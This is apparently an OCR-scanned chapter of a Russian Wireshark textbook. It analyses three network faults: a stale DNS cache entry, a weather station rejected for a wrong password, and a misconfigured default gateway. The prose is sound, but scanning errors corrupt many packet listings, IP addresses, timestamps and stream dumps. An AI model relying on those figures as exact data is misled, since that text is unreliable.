172.16.16.154 199.161.133.61 61 49 k 24 1953 37 47 k 0.238547000 91 .083551 

172.16.1 6.154 203.0.113.94 93 6774 93 6774 о о 0.430071 ООО 94.593597 

---
Name resolutlon Limlt to d1splay filter 

Help Сору • Follow Stream." Groph .• Close 

Рис. 10.4. Просмотр /Р-диалоrов 



Как было обнаружено ранее, имеется семь DNS-запросов и семь соот

ветствующих НТТР-запросов. Принимая во внимание это обстоятельство, 

было бы вполне оправданно предположить, что имеется также семь соот

ветствующих IР-диалогов, но это не так, поскольку их восемь. Чем же это 

объяснить? 

Это можно бьvю бы объяснить, в частности , тем, что перехваченный тра

фик был "загрязнен" дополнительным диалогом, не связанным с рассматрива

емым здесь затруднением. Безусловно, следует ясно отдавать себе отчет, что 

анализ не должен страдать от неуместного трафика, хотя это и не касается 

данного диалога. Если исследовать каждый НТТР-запрос и отметить IР-адрес, 

по которому он был отправлен, то в конечном итоге останется один диалог, у 

которого отсутствует соответствующий НТТР-запрос. А конечными точками 

этого диалога являются компьютер Пита (по адресу 172 .16 .16 .154) и удален
ный хост (по адресу 203. О .113. 94). Этот диалог представлен в нижней строке 
на рис. 10.4. Обратите внимание, что этому неизвестному хосту было послано 

6774 байта, а в ответ - ни одного байта. И это обстоятельство заслуживает 

особого внимания. 

Если отсеять рассматриваемый здесь диалог, щелкнув на нем правой кнопкой 

мыши и выбрав команду Apply As FilterQSelectedQA~B (Применить как фильтрQ 
ВыбраноQА~В) из контекстного меню, то, зная принцип действия протоко

ла ТСР, можно выяснить, что пошло не так (рис. 10.5). 

Но. - -15 ••• 3"11 172.16.16.1.$4 
26 8,4)806 172.16.16.1.S4 
11 1.431858 172.1б.16.1S4 
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71 8.553964 172.16.16.1.SC 

""' ........ 
283.1.113.9< 
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213.1.113.94 
213.8.113.94 
283.1.113.94 
213.1.113.94 

-ТСР 
ТСР 

ТСР 

ТСР 

ТСР 

ТСР 

........ "" 78 64862 " 88 [SYN] Seqst Wiмc6S535 1.en-rt HSS•l4БI WS-32 TSva\•1181893668 TSec-
78 64853 " 88 ISYN) St:q" W.in-6553.5 Len" HSS-1468 WS-32 TSva\•1111893668 TSeC-
78 64864 " 88 [SYN} Seq:I W1n=6SS3S l~=t HSS=l461 WP32 TSva'\=1181193669 ТSее-
78 64865 " 81 (SYN) Seq~ Win-:65535 Len.118 HSS-1468 WS.З2 ТSvel.a:1111193737 TSec... 
78 64866 - 88 [SWJ ~" Wtnк65535 Lenirt КSS--1468 WS-32 TS>Jl\•1181893737 TSet-
78 64869 • 88 [S'tN1 Seq=t Win-:65535 Len&t "SS-1468 ws-32 TSvl\&1181193787 TSec_ 

4~6 1,46еЭ&6 112.16 16.154 203.0.113.94 fCP 78 ITCP Retrans111iss1on1 64863 - 80 SYNJ SeQ"0 W1n :.06SS35 Len•8 MSS"1460 WS=31 -
457 1.460006 112.16.16.lS• 203.0.113.94 ТСР 78 IТСР Retranse1ss1on1 64862 ... 89 [SYN1 SeQ"'0 W1n=-65SЗ5 len"'lt MSS=-1460 ws"32 -
•58 1.•61238 172.16.16.154 2С3.0.11З.94 Т(Р 78 [ТСР Retransм1sSl011\ 64864 "80 (SYNJ Secp•0 w1n=б5535 len:O MSS=1460 WS•32 -
459 1.530278 172.16.16.154 203.0.113.9• ТСР 78 [ТСР Retransei1ss1onl 64866 - 80 [SYW] Seq=0 Win,,,65535 Len"'O MSS=l460 WS•32 -
460 1.538278 172.16.16.154 283.1.113.94 ТСР 78 [1СР Retrans111н.stonJ 64865 ... 80 [SYNI Seq:o8 W1n:1:1б5535 Len-=& tlSS=l46fJ WS•32 ... 
461 1.580145 172.16.16.154 203.0.113.94 Т(Р 78 [ТСР Retrans•1sstonJ 64859 ... 88 {SYN] Seqo::O Win"65535 Lcn:O 1'155=1460 WS"32 -
462 2.461157 172.16.16.154 203.ft.113.94 ТСР 78 (ТСР l\etrtins•1Sston] 64863" 80 [S'f'Ni Seq=0 Win.=65535 L~ni::0 11SS:146D WS=З2 -
4S3 2.461157 172.16.16.15-1 283.0.113.94 ТСР 78 fTCP Retri'ns•is~1onJ 64862 ... 80 (S"YN] Seq:.0 Win:.65535 len::.6 MSS::1466 W5=32 -

Рис. 10.5. Просмотр непредвиденного соединения 

При обычном обмене данными по протоколу ТСР можно ожидать появле

ния стандартной последовательности установки соединения SYN-SYN /ACK-ACК. 

В данном случае компьютер Пита отправил пакет SYN хосту, находящемуся по 

адресу 203.0.113.94, но мы не видим ответного пакета SYN/ACK. Мало того, 

компьютер Пита отправил несколько пакетов SYN без всякой пользы, что в ко

нечном счете вынудило эту машину повторить передачу пакетов ТСР. Более 

подробно особенности повторных передач пакетов по протоколу ТСР рассма

триваются в главе 11, "Меры борьбы с медленной сетью", а до тех пор можно 
сделать следующий важный вывод: один хост посылает пакеты, на которые он 

не получает ответа. Глядя на столбец Ti.JDe, можно заметить, что повторные 



передачи пакетов продолжаются в течение 95 секунд без ответа. Для передачи 
данных по сети это крайне медленно. 

Таким образом, мы выявили семь DNS-запросов, семь НТТР-запросов и 

восемь IР-диалогов. А поскольку нам известно, что перехваченный сетевой 

трафик не "загрязнен" лишними данными, то мы можем с полным основа

нием предположить, что таинственный восьмой IР-диалог, вероятнее всего, 

и послужил причиной медленной и неполной загрузки веб-страницы на ком

пьютер Пита. По какой то причине компьютер Пита попытался связаться с 

устройством, которое вообще не существует или просто не принимает паке

ты. Чтобы понять, почему это происходит, рассмотрим не то, что находится в 

файле перехвата, а то, чего в нем нет. 

Когда Пит просматривал веб-сайт по адресу http: //www.espn.com/, его бра
узер выявил ресурсы, расположенные в других доменах. Чтобы извлечь дан

ные из этих ресурсов, компьютер Пита сформировал DNS-запросы с целью 

найти соответствующие IР-адреса, а затем установил с ними связь по протоко

лу ТСР, чтобы оправить НТТР-запрос на доставку содержимого. Но для диало

га с хостом, находящимся по адресу 203. О .113. 94, соответствующий DNS-зa
пpoc не бьш обнаружен. Откуда же этот адрес известен компьютеру Пита? 

Как обсуждалось в главе 9, "Распространенные протоколы верхнего уров
ня", при рассмотрении протокола DNS, в большинстве систем в той или иной 
форме реализовано кеширование DNS-запросов. Это дает им возможность об

ращаться к извлеченному ранее локальному соответствию DNS-имени IР-адре

су, не формируя DNS-зaпpoc при каждом посещении домена, с которым часто 

приходится обмениваться данными. В конечном итоге срок действия такого 

соответствия истечет, после чего должен быть сформирован новый DNS-зa

пpoc. Но если соответствие DNS-имени IР-адресу изменится, а устройство не 

сформирует соответствующий DNS-зaпpoc на получение нового адреса при 

очередном посещении домена, то устройство попытается установить соедине

ние по адресу, который уже недействителен. 

Именно это и произошло с компьютером Пита, на котором уже было кеши

ровано соответствие DNS-имени IР-адресу домена, где размещалось содержи

мое веб-сайта ESPN. А поскольку эта запись в кеше существовала, то DNS-зa
пpoc не бьш сформирован и компьютер Пита попытался установить соедине

ние по старому IР-адресу. Но хост по этому адресу уже не отвечал на запросы. 

В итоге время ожидания ответов на запросы истекло, а содержимое так и не 

было загружено. 

К счастью для Пита, очистить кеш DNS-запросов вручную совсем не трудно. 

Для этого нужно ввести в командной строке окна терминала всего несколько 

символов. С другой стороны, можно бьшо бы повторить попытку связи через 

несколько минут, когда запись в кеше DNS-запросов, вероятнее всего, окажет

ся просроченной и будет сформирован новый DNS-зaпpoc. 
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Усвоенные уроки 

Чтобы узнать, что баскетбольная команда университета штата Кентукки 

обыграла команду университета Дьюка с отрывом в 90 очков, нам пришлось 
немало потрудиться. Но из этого мы вынесли более глубокое понимание вза

имодействия сетевых узлов. В данном сценарии нам удалось выработать ре

шение благодаря доступу к нескольким информационным точкам, связанным 

с запросами и диалогами, происходящими в перехваченном трафике. И там 

нам удалось выявить несколько несогласованностей, которые в конечном ито

ге привели нас к неудавшемуся обмену данными между клиентом и одним из 

серверов доставки содержимого для веб-сайта ESPN. 
В действительности диагностика неисправностей в сети редко сводится к 

простой прокрутке списка пактов и поиску среди них пакетов, которые вы

глядят необычно. Для диагностики даже самых простых неполадок в сети мо

жет потребоваться перехват довольно крупного трафика, опирающийся на 

средства анализа и статистической обработки Wireshark для выявления откло
нений от нормы. Поэтому очень важно освоить такой стиль анализа, чтобы 

успешно проводить диагностику на уровне пакетов. 

Если вы хотите посмотреть, каким образом происходит нормальный об

мен данными между веб-браузером и веб-сайтом ESPN, попробуйте посетить 
этот сайт, самостоятельно перехватывая сетевой трафик. Постарайтесь сами 

выявить все серверы, ответственные за доставку содержимого для этого 

веб-сайта. 

Не реаrирующая метеоролоrическая служба 
Файлы перехвата wea ther _ broken. 
pcapng и weather _ working. pcapng 

И во втором сценарии главным действую

щим лицом снова оказывается уже знако

мый нам пользователь Пит Пакет. К чис

лу многих увлечений Пита относится любительская метеорология. Он не мо

жет прожить и нескольких часов, чтобы не проверить текущие метеорологи

ческие условия и получить прогноз погоды. И в этом он не полагается только 

на местные новости с прогнозом погоды, а держит вне своего дома неболь

шую метеостанцию, сообщающую данные на веб-сайт по адресу ht tps: / /www. 

wunderground. com для накапливания и просмотра. Однажды утром Пит вы

шел из дому, чтобы проверить на своей метеостанции, насколько упала тем

пература воздуха с вечера, но обнаружил, что его метеостанция не сообщала 

данные на веб-сай-г Wundergгound в течение девяти часов после полуночи 

(рис. 10.6). 
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Рис. 10.6. Метеостанция не посылала статистический отчет в течение 
девяти часов 

Подключение к сети 

Метеостанция Пита, установленная на крыше его дома, подключена к при

емнику внутри дома по радиоканалу. А этот приемник подключен к сети через 

коммутатор для передачи статистических отчетов на веб-сайт Wuпdergrouпd 

через Интернет. Такая схема сети наглядно показана на рис. 10.7. 

Метеостанция 

(у) 

Радиоканал 

1J·н1--1 ~"1==== ЕЕl~--о--П 
Приемник Маршрутизатор Интернет ~ 

метеорологических l 72. l 6.16.1 
данных 

Wunderground 

172.16.16.154 

Рис. 10.7. Схема сети для подключения метеостанции 
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Управление приемником данных от метеостанции выполняется с помощью 

простой веб·страницы. Но, перейдя на нее, Пит обнаружил лишь таинствен· 

ное сообщение о носледнем времени синхронизации без всяких рекоменда· 

ций по устранению неноладок, потому что соответствующее программное 

обеспечение не вы1юлняет подробного ведения журнала ошибок. А поскольку 

приемник служит концентратором свя:ш с инфраструктурой метеостанции, 

то для диагностики неисправности в сети имеет смысл перехватывать паке· 

ты, входящие и исходящие из этого устройства. Рассматриваемая здесь сеть 

относится к категории домашних, и поэтому на SОНО-коммутаторе, предна· 

значенном для небольших учрежденческих и домашних сетей, вряд ли будет 

поддерживаться режим зеркального отображения портов. В данном случае 

для перехвата пакетов лучше всего 1юдходит недорогой сетевой ответвитель 

или заражение АRР·кеша. Перехваченные в итоге пакеты сохранены в файле 

weather_broken.pcapng. 

Анализ 

Открыв упомянутый выше файл перехвата, вы обнаружите, что и в дан· 

ном случае мы имеем дело с обменом данными по протоколу НТТР. Перехват 

пакетов ограничивается единственным диалогом между локальным прием· 

ником метеорологических данных, находящимся по адресу 172 .16 .16 .154, и 
неизвестным удаленным устройством, расположенным в Интернете по адресу 

38 .102 .136 .125 (рис. 10.8). 
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Рис. 1 О.В. Обособленный обмен данными между приемником метеорологических 
данных и неизвестным удаленным устройством 

Преж;(е чем исследовать характеристики сетевого диалога, выясним, мож· 

но ли распознать неизвестный IР·адрес. Без обширного исследования нам вряд 

ли удастся выяснить, тот ли это IР·адрес, по которому приемник должен пере· 

давать данные из метеостанции Пита. Но, по крайней мере, мы можем прове· 

рить, что он относится к инфраструктуре веб-сайта Wuпderground, выполнив 

запрос WHOIS. Такой запрос можно выполнить через веб·сайты регистрации 
доменов или региональных регистраторов в Интернете, например, по адресу 

http: //whois. arin. net/. В данном случае IР·адрес относится к Cogeпt- постав

щику услуг Интернета (ISP; рис. 10.9). Здесь упоминается также компания PSINet 
Iпс., но в результате быстрого поиска обнаруживается, что большинство ее ре· 

сурсов было приобретено компанией Cogeпt еще в начале 2000-х годов. 
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Рис. 1О.9. Данные по запросу WHOIS обозначают владельца 
данного /Р-адреса 

Иногда по запросу WHOIS возвращается имя организации, если IР-адрес за

регистрирован непосредственно самой организацией. Но зачастую организа

ция просто пользуется пространством IР-адресов, выделяемым провайдером, 

даже не регистрируя его непосредственно. В подобных случаях в качестве 

еще одной полезной тактики можно произвести поиск информации по номеру 

автономной системы (ASN), к которой относится анализируемый IР-адрес. 
Просматривать соответствие IР-адресов номерам ASN можно самыми раз

ными способами (в результате некоторых видов поиска по запросам WHOIS 

такое соответствие предоставляется автоматически), но я лично предпочи

таю пользоваться инструментальным средством автоматического поиска Теаш 

Cyшru (h t tps: / / asn. cymru. сот!). С помощью этого средства можно обна

ружить, что адрес 38 .102 .136 .125 связан с именем AS 3634 7, которое, в свою 

очередь, связано с названием организации "Wu11dergrou11d - Tl1e Weather 
Сl1аппеl, LLC, US" (рис. 10.10). Это означает, что устройство, с которым связы

вается метеостанция, находится где-то в текущей организации . Если же узнать 

конкретного владельца адреса не удается, то, возможно, стоит предположить, 

что приемник метеостанции Пита обменивается данными с некорректным 

устройством, хотя в нашем с.лучае правильность адреса подтверждается. 
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Executing comniands. Please Ье patient! 

v4.whois.cyniru.com 

The server roturned 4 l1ne(s). 

[QUerying v<.mo1s.c )'11rU .<011] 
[v4,whois. cyl!ll"V. cOllt] 
А5 I IP IASNa,.. 
36347 J 38 . 182.136 . lZ.5 j IUOERGRCUI> - ТНЕ HEANE~ Ct4AЧNH, LLC,US 

Рис. 1 О. 1 О. Поиск соответствия внешнего /Р-адреса 

конкретному номеру ASN 

Итак, охарактеризовав неизвестный хост, можно перейти к углубленному 

анализу обмена данными с ним. Сетевой диалог с этим хостом относительно 

краткий и состоит из трехэтапного процесса установки связи по протоколу 

ТСР, передачи одного НТТР-запроса по методу GET, получения соответствую

щего ответа и разрыва связи по протоколу ТСР. Установка соединения и раз

рыв связи происходят успешно, поэтому искомая проблема, вероятнее всего, 

кроется в самом НТТР-запросе. Чтобы проанализировать его более подроб

но, проследим поток данных по протоколуТСР (рис . 10.11) . 

• Wireshark · Follow ТСР Stream (tcp.stream eq 0) · weather_broken о 

GЕТ /...,atherstation/updat,,..,.,atherstation. php? 
ID-<KUAOAКW02&PASSWORD:0110011000&te11pf •43. e&hu.Udi ty•Зe&dewptf•lЗ . б&wi ndchil 1f-43.0&winddir•l9'1&windspeed8ph 
• 0. 22&windgus l:llph•2 .46&rainin-0. oo&dail уга ininz41. ee&weekl yra in in .е. 0081ооп thl yrainin-e. 00&year lyrainin~. 00 
&solarradiation• S4.14&UV-e&indoortenipf =67. l&indoorhu"idi ty•2б&barootin•29. 32&1.owЬatt•01.dateutc•2016-l -61202 
1: 58: 34&softwaretype-weatherl20loggerS20Vl .0&action-updateraw&real ti-·L&rtfreq-5 НТТР/1.1 О 
Нost: 38 .102 .136.125 
User·Agent : cur l/7.43. 0 
Accept: : •/• 

НТТР/1.0 l00 ОК f) 
Con1:ent-typo: te ·t/hЬll 
Oate: Thu, 07 Jan 2816 00: 28: 39 G11Т 
Content-length: 58 
Connection: keep·alive 

J .....,.~~, ...,.,.~u,.,,. 

х 

бntп <:Dl1""""'tion (;>00 ь~ 

Find: 

Show data as АSСП Stroam [о:::1] 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

Рис. 1 О. 1 1. Прослеживание потока данных по протоколу ТСР, исходящего из прием
ника метеорологических данных 

Обмен данными по протоколу НТТР начинается с запроса по методу 

GET, посылаемого приемником данных от метеостанции Пита на веб-сайт 

Wunderground. Но вместо НТТР·содержимого значительный массив данных 

бьш передан в URL О. Передача данных через символьную строку запро

са в URL весьма характерна для неб-приложений, и похоже, что приемник 



передает обновленные метеорологические данные, используя именно этот 

механизм. Это наблюдается в таких полях, как tempf=43. О, dewptf=lЗ. 6 и 
windchillf=43. О. Сервер Wundergrouпd, занимающийся сбором данных, вы
полняет синтаксический анализ списка полей и параметров из URl,, сохраняя 
их в базе данных. 

На первый взгляд, все в запросе сервера Wuпderground по методу GET вы
глядит верно, но проанализируем полученный ответ, где сообщается об ошиб

ке. В частности, сервер прислал код ответа НТТР/1. О 200 ОК 8, указывающий 
на то, что запрос по методу GET был получен успешно, но в теле ответа О со
держится следующее сообщение об ошибке: 

INVALIDPASSWORDIDIPassword or key and/or id are incorrect 

(Неверный идентификатор и пароль 1 Пароль и/или ключ неверен) 

Если вернуться к URL с запросом, то можно заметить, что первыми в нем 
были переданы параметры ID и PASSWORD. Они служат для обозначения позыв

ного метеостанции и ее аутентификации на сервере Wundergrouпd. 

В данном случае идентификатор метеостанции Пита указан верно, чего 

нельзя сказать о его пароле. По какой-то неизвестной причине он был заменен 

нулями. Последний успешный обмен данными был осуществлен в полночь, и 

поэтому вполне возможно, что было выполнено обновление или произведена 

перезагрузка приемника, в результате чего конфигурация пароля могла быть 

утрачена. 

lllQЩ!pMl!lil Несмотря на то что многие разработчики предпочитают передаватъ 

параметръt непосредственно в URL, делатъ это в отношении паролей 
не рехоменд)•ется. Дело в том, что параметръt в URL передаются в виде 
открытого текста, если протокол НТГР применяется без дополнителъ

ного шифрования, как в протоколе НТГРS. Следователъно, злонамерен

ный полъзователъ, которому слу-чш~осъ прослушиватъ сетъ, может пере

хватитъ паролъ, открыто передаваемый в URL. 

Имея доступ к странице настройки своего приемника, Пит может ввести 

новый пароль, после чего его метеостанция снова начнет синхронно переда

вать свои данные. Пример успешной передачи метеорологических данных 

можно найти в файле перехвата weather _ working. pcapng. А соответствующий 
поток обмена данными приведен на рис. 10.12. Теперь пароль указан верно О, 
поэтому сервер Wundergrouпd ответит сообщением success (успешно) в теле 
НТТР-ответа 8. 
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• Wiroshark · Follow ТСР Stre•m (tcp.stre•m eq О)· w"ther_working о х 

GЕТ /weatherstation/updoteweatherstation. php? 
ID•KGAOAKW02&PASSWORD=l234567s&t.,.pf "43. 0&hu11idi ty•Зe&dewptf =B. 6&wi nd chi 11 f -43 . e&winddir=l94&wind speed11ph 
а0. 22&windgus t"ph=2. 46&rai nin•0. 00&d ailyra inin=&. 00&wee kl уга inin=0. oo&monthl yгoinin..В. oo&yeor lyr ai n in•0. 00 
&solaгradiation=54. l4&W-0&indoorte11pf..07. l&indoorhullidity=26&baf'Ofllin•29. 32&lowbatt..e&dateutc•2016-1-6%202 ·' 
1: 58: 34&softwaretype-W.other'2&logge.-%20Vl. 0&action•updoterow&reoltime•l&rtfreq•5 НТТР/1.0. 8 О 
Accept: •1• 
ttost: ЗВ.102.136.125 
Connection: Close 

КТТР/1.0 280 ОК 
Content-tyP": text/htJol 
D1te: Wed, 06 Заn 2016 21:58:35 GНТ 
Content-length: 8 

succes~ б 

1 """'p/rr(lfl,, _ph(s_J. 1"""' 

Enllr• amersaьon (621 bytes) 

Рис. 1 О. 12. Успешный обмен данными с метеостанцией 

Усвоенные уроки 

. 

В данном сценарии нам пришлось иметь дело со сторонней службой, облег

чавшей обмен данными по сети с помощью функциональных средств другого 

протокола (НТТР). Устранение неполадок при обмене данными со сторонни

ми службами - довольно распространенная задача, и для ее решения вполне 

пригодны методики анализа пакетов, если имеется подходящая документация 

или подробное протоколирование ошибок. Подобные диагностические зада

чи все чаще приходится решать с появлением таких устройств IoT (Interпet of 
Tl1iпgs - Интернет вещей), как данная метеостанция. 

Чтобы устранить подобную проблему нам пришлось проанализировать по

следовательность обмена данными с неизвестным устройством и прикинугь, 

как это все должно работать. Ряд приложений, в которых используется прото

кол НТТР для передачи данных, как в случае с нашей метеостанцией, имеют 

довольно простую структуру. Однако существуют довольно сложные устрой

ства, в которых данные передаются в виде нескольких транзакций, да еще в 

зашифрованном виде, либо в них может применяться никому не известный 

протокол собственной разработки. В подобных случаях Wireshark не сможет 

корректно проанализировать передаваемые данные и отобразить их в виде 

удобного диалога. 

По мере исследования работы сетевых служб, созданных сторонними раз

работчиками, вы в конечном итоге поймете те общие шаблоны, которые при

меняли разработчики для упрощения обмена данными 110 сети. И эти знания 

позволят вам с высокой эффективностью разрешить возникшие затруднения. 



Отсутствие доступа к Интернету 
Во многих случаях может возникнуть потребность продиагностировать 

или разрешить проблемы, возникающие при подключении к Интернету. 

В этом разделе рассматриваются некоторые из наиболее распространенных 

затруднений подобного рода. 

Трудности конфигурирования шлюза 

Файл перехвата В следующем сценарии рассматривается проблема, 

noweЬaccessl .pcapng возникающая в связи с отсутствием доступа к Интер-

нету. При этом удалось убедиться, что у пользователя 

имеется доступ ко всем внутренним ресурсам в сети, включая общие сетевые 

ресурсы на других рабочих станциях и приложения, размещаемые на локаль

ных серверах. 

Архитектура такой сети довольно проста, поскольку все клиенты и серве

ры подключены к последовательному ряду простых коммутаторов. Доступ к 

Интернету осуществляется через единственный маршрутизатор, служащий в 

качестве стандартного шлюза, а сведения об IР-адресах предоставляются по 

протоколу DHCP. Это довольно типичный сценарий для мелких компаний. 

Подключение к сети 

Чтобы выяснить причину подобной проблемы, придется предложить поль

зователю попробовать подключиться к Интернету для просмотра веб-контен

та, в то время как анализатор пакетов будет прослушивать сеть. Воспользуемся 

блок-схемой, приведенной на рис. 2.15 в главе 2, "Подключение к сети", чтобы 
выбрать подходящий метод для размещения анализатора пакетов. 

Коммутаторы в данной сети не поддерживают зеркальное отображение 

портов. Мы уже вмешались в работу пользователя, чтобы провести свое испы

тание, и поэтому его можно еще раз попросить перейти в автономный режим. 

И хотя в данном сценарии не идет речь о высокой пропускной способности, 

для перехвата сетевого трафика вполне подойдет сетевой ответвитель, если 

таковой имеется. Полученный в итоге результат сохранен в файле перехвата 

nowebaccessl.pcapng. 

Анализ 

Перехват сетевого трафика начинается с АRР-запроса и ответа, как по

казано на рис. 10.13. В пакете 1 компьютер пользователя с МАС-адресом 
00: 25: ЬЗ: bf: 91: ее и IР-адресом 172 .16. О. 8 посылает широковещательный 
пакет по протоколу ARP всем компьютерам в сегменте сети с целью обнару
жить МАС-адрес, связанный с IР-адресом его стандартного шлюза по адресу 

172.16.0.10. 
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No r.м Source Oestinaьon Protocol ~ tnfo 
1 64:32:21 . 445645 00:25:b3:bf:91:ee ff : ff:ff:ff:ff:ff ARP 42Who has 172.16.0.10' T•ll 172.16.0.8 
2 64:32:21.445735 00:24:81:al:fб:79 00:25 : b3:bf:91:e• ARP 60172 . 16.0.10 is at 00:24:81:а1:fб:79 

Рис. 1О.13. АRР-зопрос компьютера и ответ но него стандартного шлюза 

Ответ получается в пакете 2, иэ которого компьютер пользователя узнает, 
что IР-адресу 172.16.0 .10 соответствует МАС-адрес 00:24:81:al :f6:79. Как 
только этот ответ будет нолучен, в распоряжении компьютера появится марш

рут к шлюзу, через который он сможет получить прямой доступ к Интернету. 

Прослеживая АRР-ответ, компьютер должен попытаться преобразовать 

DNS-имя веб-сайта в IР-адрес, используя протокол DNS в пакете 3. Как пока
зано на рис. 10.14, компьютер посылает с этой целью пакет с DNS-запросом 
своему основному DNS-cepвepy, находящемуся 110 адресу 4 .2 .2 .2 О. 

/1. Wireshork · Pock<t З · noweboccoss1 о х 

> frame 3: 74 bytes on wire (592 Ьits), 74 bytes captured (592 Ьits) 1 

> Eth"rn"1: II, Sre< НewlettP_bf:91:ee (00:25:b3:bf:91:ee), Dst: Hewl"ttP_al:fб:79 (00:24:81:ol:fб:79) 
> Int"rnet Pгotocol V!!rsion 4, Src: 172.16.0.8, Dst: 4.2.2.2 О 
> Useг Datagra11 Protocol, Src Port: 55870 (55870), Dst Port: 53 (53} 
" Donlain NoR Systeao (query) 

Transaction ID: 0x80dl 
> Flags: 0х0100 Standard qu"ry 

Questions: 1 
Answ..r RRs: 0 
Authority RRs: 0 
Additional RRs: 0 

" Qu~гi~s 

> -· google. сО111: type А, class IN 

Рис. 1О.14. DNS-зoпpoc, посылаемый по адресу 4. 2. 2 . 2 

При обычных обстоятельствах DNS-cepвep очень быстро ответит на по

лученный DNS-зaпpoc, но в данном случае это совсем не так. Вместо ответа 

мы наблюдаем тот же самый DNS-зaпpoc, посылаемый во второй раз, но уже 

по другому адресу получателя . Как показано на рис. 10.15, в пакете 4 второй 
DNS-зaпpoc посылается резервному DNS-cepвepy. адрес которого указан на 

данном компьютере как 4 . 2. 2. 1 О . 

Но и в этом случае ответа от DNS-cepвepa так и нс последовало, и поэтому 

запрос по адресу 4 . 2. 2 .1 был послан еще раз через секунду. Этот процесс 
повторяется с чередованием адресов основного О и резервного 8 DNS-cep
вepoв в течение нескольких последующих секунд, как показано на рис. 10.16. 
А в целом этот процесс занимает около 8 секунд О или продолжается до тех 
пор, пока браузер пользователя не сообщит, что искомый веб-сайт недос

тупен. 



• Wir<>hark · Pock•t 4 · now•boccessl о х 

> Fra8" 4: 74 bytes on wire (592 bits), 74 bytes captured (592 Ьits) 
Ethernet II, 5rc: HewlettP_bf:91:ee (00:25:ЬЭ:Ьf:91:ее), Ost : !iewlettP_a1:fб:79 (00:24:81:al:fб:79) 

Internet Pгotocol Version 4, Src 172.16.0.8, Ost: 4.2.2.1 0 
> User Oatagгo11 Protocol, Src Port: 55870 (55870), Ost Port: 53 (53) 
v Do8ain 11•~ Syste11 ( queгy) 

Transaction IO: 0x80dl 
> Flags: 0х0100 Standard queгy 

Questions: 1 
Answeг RRs: 0 
Authority RRs: 0 
Additionol RRs: 0 

v Qu~гies 

-.google.cOfll: type А, class IN 

No. : 4 • r-. 0.!199l8D • - J7LI6.0.8 • ~ 4.Z.Z.1 • - DNS • lмgdr: 74 • fofD: SQrк/JrrJ qu<!fylЬtllkJI А """.~""" 

do>e 1 ~ Неlр 

Рис. 1 О. 15. Второй DNS-зaпpoc, посылаемый по адресу 4. 2. 2 .1 

No. тmе Scucr О..ЬП.Ьоn Pl'otDcol longth !nfo 

l&. oeeeee HewlettP _bf :91 :ее ero11dcast ARP 42 i.tio h•s 172.1б.е.1е1 T•ll 172.lб.0.в 

2 8 .ее&е98 Ht!WlettP _111 : f6 :79 HetflettP bf :91 :ee ARP 68 172 . 16.8.18 is •t 99:24:81:al:f6;79 

3 e.-1es 172.16.6.8 4 . 2.2.2 о IJtlS 74 Standard query 8x80dl А WWi'f.IJ008le.c08 

4 8.999286 172.16 .8.8 4.2 . 2.1 DflS 74 St~ndanf queгy 8x8ed1 А www . google.c08 

5 l . 999279 172.16.8.8 4.2 . 2.2 DНS 74 Stand•rd query Qx86d1 А www.soogle.c08 
б 3.999372 172.lб.8.8 4.2.2.1 8 DНS 74 St"lndard query ex'8ed1 А www.google.c08 
7 3 . 999393 172.16.6. 8 4.2 . 2.2 DflS 74 sund21rd qu~ry 8x80d1 А www.вoo,;:le.c011 

8 7.999627 172.16.6. в 4.2.2.1 D/IS 74 Standord query exsedl А www. google. COll 

е Dl<S 74 Standtмi ue"y 9)($041 А WWirrl. оо l.t-.coa1 

Рис. 1 О. 16. DNS-запросы повторяются до тех пор, пока не будет остановлен про
цесс их отправки 

На основании проанализированных ранее пакетов можно приступить к 

угочнению причины рассматриваемой здесь проблемы. Прежде всего, мы 

обнаружим успешный АRР-запрос к стандартному, как предполагается, шлю

зу (маршругизатору) сети, а следовательно , делаем вывод, что данное устрой

ство подключено к сети и находится на связи. Мы знаем также, что компью

тер пользователя фактически передает пакеты в сеть, и поэтому можем пред

положить, что анализируемая проблема не связана со стеком протоколов на 

самом компьютере, а начинает проявляться, когда делается DNS-зaпpoc. 

Что касается рассматриваемой здесь сети, то DNS-запросы обрабатывают

ся внешним DNS-cepвepoм в Интернете (по адресу 4. 2. 2. 2 или 4. 2. 2 .1). Это 
означает, что для правильной обработки DNS-запросов шлюз, ответственный 

за маршругизацию пакетов в Интернет, должен успешно пересылать DNS-за

просы соответствующему серверу, а тот - отвечать на них. И все это должно 

произойти прежде, чем протокол НТТР будет использован для запроса самой 

веб-страницы. 
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Если у других пользователей не возникает никаких трудностей при под

ключении к Интернету, то сетевой шлюз и удаленный DNS-cepвep, вероятнее 

всего, не являются причиной возникшей проблемы. Поэтому остается лишь 

исследовать сам компьютер данного пользователя. 

Проведя углубленное исследование компьютера, затронутого рассматрива

емой здесь проблемой, мы обнаружим, что вместо назначаемого по протоколу 

DHCP IР-адреса кто-то вручную задал параметры настройки протокола ТСР / 
IP, и поэтому адрес стандартного шлюза указан неверно. Это был адрес како
го-то другого устройства, а не маршрутизатора Интернета, поэтому пакеты с 

DNS-запросами не уходили за пределы локальной сети. 

Усвоенные уроки 

Проблема в данном сценарии возникла вследствие неверной конфигура

ции клиента. И хотя она оказалась простой, тем не менее, значительно по

влияла на работу пользователя. Диагностика столь простых случаев неверной 

конфигурации может отнять немало времени у тех, кто слабо разбирается в 

сетях и не умеет оперативно анализировать пакеты, как в данном сценарии. 

Как видите, анализ пакетов не ограничивается только разрешением крупных 

и сложных затруднений, возникающих в сети. 

Следует, однако, иметь в виду, что в данном сценарии нам заранее не бьш 

известен IР-адрес сетевого шлюза, и поэтому выявить источник проблемы с 

помощью приложения Wireshark не удалось, хотя оно и подсказало, где его ис
кать, сэкономив нам немало драгоценного времени. Вместо того чтобы ана

лизировать трафик, проходящий через сетевой шлюз, звонить провайдеру 

Интернета или искать ресурсы для диагностики удаленного DNS-cepвepa, мы 

сумели сосредоточить свои усилия на самом компьютере, который, по суще

ству, и оказался причиной данной проблемы. 

leiQ'И'IКJШ!i Ее.ли бы мы лучше знали схему IР-адресации в данной конкретной сети, 

то смогли бы провести свой анализ быстрее. Проблему можно было бы 

выявитъ немедленно, как толъко обнаружилосъ бы, что АRР-запросы 

были посланы не по IР-адресу сетевого шлюза. Подобные ошибки в 

конфигурации нередко становятся причиной пробле.м в работе сети, 

которые, как правило, разрешаются быстро в резулътате беглого 

анализа пакетов. 

Нежелательная переадресация 

Файл перехвата В данном сценарии главным действующим лицом cнo

noweЬaccess2. pcapng ва оказывается пользователь, испытывающий трудно-

сти при доступе к Интернету со своего рабочего 
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компьютера. Но, в отличие от пользователя из предыдущего сценария, он все 

же может подключиться к Интернету. А затруднение возникает у него в связи 

